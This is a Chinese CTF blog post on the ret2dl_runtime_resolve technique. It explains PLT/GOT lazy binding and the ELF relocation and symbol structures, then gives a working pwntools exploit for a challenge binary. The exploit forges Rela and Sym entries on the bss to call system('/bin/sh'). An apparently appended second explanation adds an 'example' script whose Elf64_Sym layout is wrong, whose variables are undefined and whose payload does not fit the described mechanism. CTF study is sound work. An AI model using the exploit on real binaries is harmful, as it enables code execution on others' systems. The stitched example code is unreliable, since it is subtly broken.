ret2dl_runtime_resolve

plt&got
plt

Procedure Linkage Table,过程链接表,每个条目是一段代码,其中 plt[0]

push        got[1]
jmp        got[2]
nop

其余每个条目对应函数的 plt 表项

 func.plt:
       jmp      func.got
       push     reloc_arg
       jmp      plt[0];

reloc_arg 为函数对应条目在 ELF JMPREL Relocation Table 的偏移

got

Global Offset Table,全局偏移量表,每个条目是该函数对应的实际地址

got[0]        当前 elf 文件中 .dynamic 段的地址,动态端的装载地址
got[1]        link_map的地址
got[2]        dl_runtime_resolve函数的地址
got[3]        其余函数的got表项
...
关键数据结构
link_map
struct link_map {
    ElfW(Addr) l_addr;    /* Difference between the address in the ELF file and the address in memory */
    char      *l_name;    /* Absolute pathname where object was found */
    ElfW(Dyn) *l_ld;    /* Dynamic section of the shared object */
    struct link_map *l_next, *l_prev;    /* Chain of loaded objects */ 
    /* Plus additional fields private to the implementation */
};

link_map 是 Linux 下用于描述共享对象(shared object)的结构体,结构体的成员包括:

  • l_addr:共享对象的加载地址,即共享对象在内存中的起始地址。
  • l_name:指向以 null 结尾的字符串,表示共享对象的文件名。
  • l_ld:指向动态段(Dynamic Segment)的地址,动态段是 ELF 文件中包含动态链接信息的一段。
  • l_next:指向下一个共享对象的 link_map 结构体的指针。
  • l_prev:指向前一个共享对象的 link_map 结构体的指针。

link_map 结构体通过链表的形式将各个共享对象连接起来,形成一个链表结构。这个链表记录了程序运行时所加载的共享对象的相关信息,包括加载地址、文件名、动态链接信息等。

.dynamic

.dynamic 段存在一组结构体 Elf64_Dyn

typedef struct{
    Elf64_Sxword d_tag;                /* Dynamic entry type */
    union{
    Elf64_Xword d_val;                /* Integer value */
    Elf64_Addr d_ptr;            /* Address value */
    }d_un;
}Elf64_Dyn;
  • d_tag ,条目类型:

  #define DT_NULL        0        /* Marks end of dynamic section */   #define DT_NEEDED    1        /* Name of needed library */   ...   #define DT_PLTGOT    3        /* Processor defined value */   ...   #define DT_STRTAB    5        /* Address of string table */   #define DT_SYMTAB    6        /* Address of symbol table */   #define DT_RELA        7        /* Address of Rela relocs */   ...   #define DT_JMPREL    23        /* Address of PLT relocs */   ...   ...  

DT_JMPREL 对应 Elf64_Dyn 结构体的 d_ptr 处存放着 Elf64_Rela 结构体
  DT_SYMTAB 对应 Elf64_Dyn 结构体的 d_ptr 处存放着 Elf64_Sym 结构体
  DT_STRTAB 对应 Elf64_Dyn 结构体的 d_ptr 处是 ELF String TableElf64_Symst_name 偏移是从此开始的

  • d_un ,值,类型可以为 unsigned long long 也可以为指针类型
ELF64_Rela

位于 .rel.plt 中的 ELF JMPREL Relocation TableELF RELA Relocation Table 的结构体

typedef struct {
    Elf64_Addr r_offset;    /* 重定位入口的偏移地址 */
    Elf64_Xword r_info;     /* 重定位入口的符号索引和类型信息 */
    Elf64_Sxword r_addend;  /* 重定位入口的增量值 */
} Elf64_Rela;

Elf64_Rela 结构体的成员各占8字节,包括:

  • r_offset:对应 got 表项所在地址
  • r_info:包含了重定位入口的符号索引和类型信息。其中,通过宏 #define ELF64_R_SYM(i)    ((i)>>32)获取符号索引,即在
      ELF Symbol Table 中的偏移,通过宏 #define ELF64_R_TYPE(i)   ((i)&0xffffffffL)获取类型信息
  • r_addend:重定位入口的增量值,用于在重定位过程中进行加法操作
Elf64_Sym

位于 .dynsymELF Symbol Table 的结构体:

typedef struct {
    Elf64_Word st_name;   
    unsigned char st_info;  
    unsigned char st_other; 
    Elf64_Half st_shndx;  
    Elf64_Addr st_value;   
    Elf64_Xword st_size;  
} Elf64_Sym;
  • st_name :4字节,是相对于 .dynstr段的偏移(相较于 ELF String Table 开始的偏移)
  • st_info:8 位的字段,包含了符号的类型和绑定信息。其中,符号的类型存储在低 4 位,绑定信息存储在高 4 位。
  • st_other:8 位的字段,目前暂未使用,保留字段。
  • st_shndx:16 位的字段,表示符号所属的节区索引。可以通过该索引找到符号所属的节区。
  • st_value:8字节,符号被导出时存放虚拟地址,不被导出时为NULL
  • st_size:64 位的字段,表示符号的大小。对于函数符号,表示函数的大小;对于数据符号,表示数据的大小。
装载过程
延迟绑定

先跳转到对应函数的 plt 表,每个表项的第一条代码是跳转到对应的 got 表项中的地址,如果该 got 表项没有初始化(函数没被调用过),则该 got表中存的是对应 plt 表项的 jmp 的下一条指令 push  reloc_arg,也就是继续执行下一条指令。接着跳转到 plt[0],执行 push got[1]jmp got[2],调用 dl_runtime_resolve 函数,dl_runtime_resolve 函数中调用了 _dl_fixup 函数解析导入函数的真实地址,并将 got 表项改写为对应函数的真实地址,从 _dl_fixup 返回 dl_runtime_resolvedl_runtime_resolve 通过寄存器r11储存的 _dl_fixup 函数解析的地址直接调用 read 函数,调用完后返回 main 函数。

dl_runtime_resolve

调用 dl_runtime_resolve 前,压入的 reloc_arg 以及 got[1](link_map) 作为 dl_runtime_resolve的两个参数,通过 reloc_arg 找到在 .rel.plt 段中的 ELF JMPREL Relocation Table 中对应的 Elf64_Rela 结构体,再通过 Elf64_Rela 结构体的第二个字段 r_info 获取 在 .dynsym 段中对应的 Elf64_Sym 结构体,再通过 ELF64_Sym 结构体 的 st_name 字段找到在 ELF String Table 中对应字符串的偏移,完成绑定。

expolit

.dynamic 段所在位置通过 link_map 获取,各段或表的基址通过 .dynamic 段处的 Elf64_Dyn 结构体获取,然后:

reloc_arg -> Elf64_Rela -> Elf64_Sym -> offset in ELF String Table

ELF String Table

将要劫持的函数的字符串改写为目标字符串

ELF64_Sym

在利用处写入要劫持的函数字符串,将 st_name 改写为目标相对于 ELF String Table 的偏移,但是目标函数字符串只能在(ELF String TableELF String Table + 0xffffffff)之间

ELF64_Rela

劫持 ELF64_Rela 结构体 r_info 的高32位,即函数在  ELF Symbol Table 处的偏移,在目标处伪造一个 ELF64_Sym 结构体,后续同对 ELF64_Sym 的利用

reloc_arg

跳转到 plt 对应表项时压入 reloc_arg ,将此 reloc_arg 改为一个较大的相对于 ELF JMPREL Relocation Table 的偏移,在偏移所在处伪造 ELF64_Rela 结构体,后续同对 ELF64_Rela 的利用

.dynamic

这些基址都存放于 .dynamic 段的一系列结构体中,在 .dynamic 段中伪造 Elf64_Dyn 结构体,改变各个段或表的基址,最终指向 system 字符串

linkmap

plt[0] 中执行了 push got[1] ,压入了 linkmap 结构体,而 linkmap 结构体中 l_ld 字段指向指向动态段 .dynamic ,通过压入伪造的 linkmap 或者 改写 l_ld 字段都可以劫持 .dynamic 段,后续同对 .dynamic 的利用

保护对利用的限制

No RELRO.dynamic段可写,got表可写

Partial RELRO.dynamic段不可写,got 表前三项不可写

Full RELRO:所有的外部引用变量/函数都将在程序装载时由动态链接器解析完成,got 表不可写,bypass待续

newstar_dl_runtime_resolve

利用 relog_arg

from pwn import *

context(log_level='debug',arch='amd64',os='linux')
io = process('/home/kali/Desktop/newstar_dl_rr')
# io = gdb.debug('/home/kali/Desktop/newstar_dl_rr')

bss_addr = 0x404e00
ret_addr = 0x4011C7
pop_rdi_addr = 0x40115E
pop_rbp_addr = 0x401161
pop_rsi_addr = 0x40116B
read_plt_addr = 0x401060
leave_ret_addr = 0x4011A9
setbuf_plt_2 = 0x401039
fake_struct = 0x4040B0
str_bin_sh = bss_addr+0x90

payload = b'a'*0x70 + p64(bss_addr) + p64(pop_rsi_addr) + p64(bss_addr) + p64(read_plt_addr) + p64(leave_ret_addr)
io.send(payload)
sleep(0.3)

bss_payload = p64(bss_addr+0x18) + p64(leave_ret_addr) + p64(0) + p64(bss_addr+0x100) + p64(pop_rdi_addr) + p64(str_bin_sh) + p64(ret_addr) + p64(setbuf_plt_2)

# reloc_arg bss_addr+0x40
# (bss_addr+0x50-0x400518)/0x18
bss_payload += p64(0x30d) + p64(0)

# fake elf_rel  bss_addr + 0x50
# (bss_addr + 0x70 - 0x3FF3F8)/0x18
bss_payload += p64(0x404018) + p64(0x3c500000007) + p64(0) + p64(0)

# fake Elf64_Sym    bss_addr + 0x70
# (bss_addr + 0x88 - 0x3FE3C0)
bss_payload += p32(0x6ac8) + p8(12) + p8(0) + p16(0) + p64(0) +p64(0)

# bss_addr + 0x88
bss_payload += b'system' + b'\00\00' + b'/bin/sh\00'

# payload = b'a'*0x70 + p64(bss_addr) + p64(read_plt_addr)
# payload2 = b'a'*0x70 + b'a'*0x10

io.send(bss_payload)

io.interactive()

利用 linkmap:

待补充

在CTF比赛中,`ret2dl_resolve`是一种利用动态链接器(如`ld-linux.so`)的延迟绑定机制实现的漏洞利用技术。其核心思想是通过构造特定的数据结构(如`.rel.plt`、`symtab`和`strtab`),并劫持程序控制流至`dl_runtime_resolve`函数,从而触发对任意函数的解析与调用。 ### 基本原理 - **PLT/GOT机制**:程序中对外部函数的调用通常通过PLT(Procedure Linkage Table)进行跳转,而实际地址则存储在GOT(Global Offset Table)中。首次调用时,会进入动态链接器执行符号解析。 - **延迟绑定**:为提升性能,外部函数的地址并非在程序启动时全部解析,而是按需解析。具体来说,当第一次调用某个外部函数时,程序会跳转到PLT表项,然后进入GOT中的解析器入口(通常是`_dl_runtime_resolve`)来完成符号解析[^1]。 - **伪造重定位信息**:攻击者可以构造自定义的`.rel.plt`条目、符号表(`symtab`)和字符串表(`strtab`),并通过栈溢出等漏洞覆盖返回地址,使程序跳转至`_dl_runtime_resolve`函数,并传入伪造的重定位索引(`reloc_arg`)。这样,系统会根据攻击者提供的数据解析指定的函数名并调用它。 ### 实践步骤 #### 1. 确定目标函数 首先,需要确定希望调用的函数名称(如`system`或`execve`),并将其作为字符串存入内存中。 #### 2. 构造`.rel.plt`条目 每个`.rel.plt`条目包含一个偏移量(指向对应的符号表项)和一个类型字段(通常是`R_386_JMP_SLOT`或`R_X86_64_JMP_SLOT`)。攻击者需要将这个条目放置在可控的内存区域中。 #### 3. 构造符号表(`symtab`) 符号表中的每一项对应一个符号,其中包含符号名称在字符串表中的偏移、符号类型、绑定信息以及所属段等。攻击者需要确保该表中存在一个指向所需函数名的条目。 #### 4. 构造字符串表(`strtab`) 字符串表用于存储所有符号名称,攻击者需要在此处插入想要解析的函数名(如`"system"`)。 #### 5. 控制程序流 利用栈溢出或其他漏洞,将返回地址覆盖为`_dl_runtime_resolve`的地址,并传递伪造的`reloc_arg`参数(即`.rel.plt`条目的索引)。此时,程序会进入动态链接器并尝试解析攻击者指定的函数。 #### 6. 调用目标函数 一旦解析成功,动态链接器会更新GOT表项为真实函数地址,并跳转至该函数执行。攻击者可以在调用时传入参数(如`"/bin/sh"`),以达到获取shell的目的。 ### 示例代码(Python + pwntools) 以下是一个简单的示例,展示如何使用`pwntools`库构造`ret2dl_resolve`攻击: ```python from pwn import * import struct # 设置目标进程 p = process('./vuln') elf = ELF('./vuln') libc = elf.libc # 获取_dl_runtime_resolve地址 dl_runtime_resolve = libc.symbols['_dl_runtime_resolve'] log.info(f'_dl_runtime_resolve: {hex(dl_runtime_resolve)}') # 获取got表地址 plt0 = elf.get_section_by_name('.plt')['sh_addr'] log.info(f'plt0: {hex(plt0)}') # 构造fake rel.plt条目 fake_rel_plt = b'' fake_rel_plt += p64(elf.got['read']) # 指向got表中的某个位置 fake_rel_plt += p32(0x7) # R_X86_64_JMP_SLOT fake_rel_plt += p32(0x0) fake_rel_plt += p64(0x0) # 构造fake symtab条目 symtab_entry = b'' symtab_entry += p32(0x10) # 符号名称在strtab中的偏移 symtab_entry += p32(0x12) # ST_INFO (FUNC GLOBAL) symtab_entry += p64(0x0) # st_value (函数地址) symtab_entry += p64(0x0) # st_size symtab_entry += b'\x00' * 0x10 # 其他字段 # 构造strtab strtab = b'/bin/sh\x00system\x00' # 计算reloc_arg reloc_arg = 0xdeadbeef # 需要根据实际情况计算 # 构造payload payload = b'A' * offset_to_return_address payload += p64(dl_runtime_resolve) payload += p64(reloc_arg) payload += p64(fake_rel_plt_address) payload += p64(fake_symtab_address) payload += p64(fake_strtab_address) # 发送payload p.sendline(payload) p.interactive() ``` > 注意:上述代码仅为示例,实际攻击中需要根据具体的二进制文件结构调整各个地址和偏移量。 ### 调试技巧 - 使用`gdb`附加进程,观察PLT/GOT的跳转流程。 - 在`_dl_runtime_resolve`函数入口下断点,查看寄存器状态是否正确。 - 利用`one_gadget`等工具辅助寻找合适的gadget。 ### 相关挑战与练习平台 - **CTFhub技能树 - ret2dl_resolve**:提供了多个难度递增的题目,帮助学习如何构造`.rel.plt`、`symtab`和`strtab`。 - **Pwnable.kr**:部分题目涉及延迟绑定利用技术。 - **Hack The Box**:一些高级靶机也包含此类漏洞利用场景。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值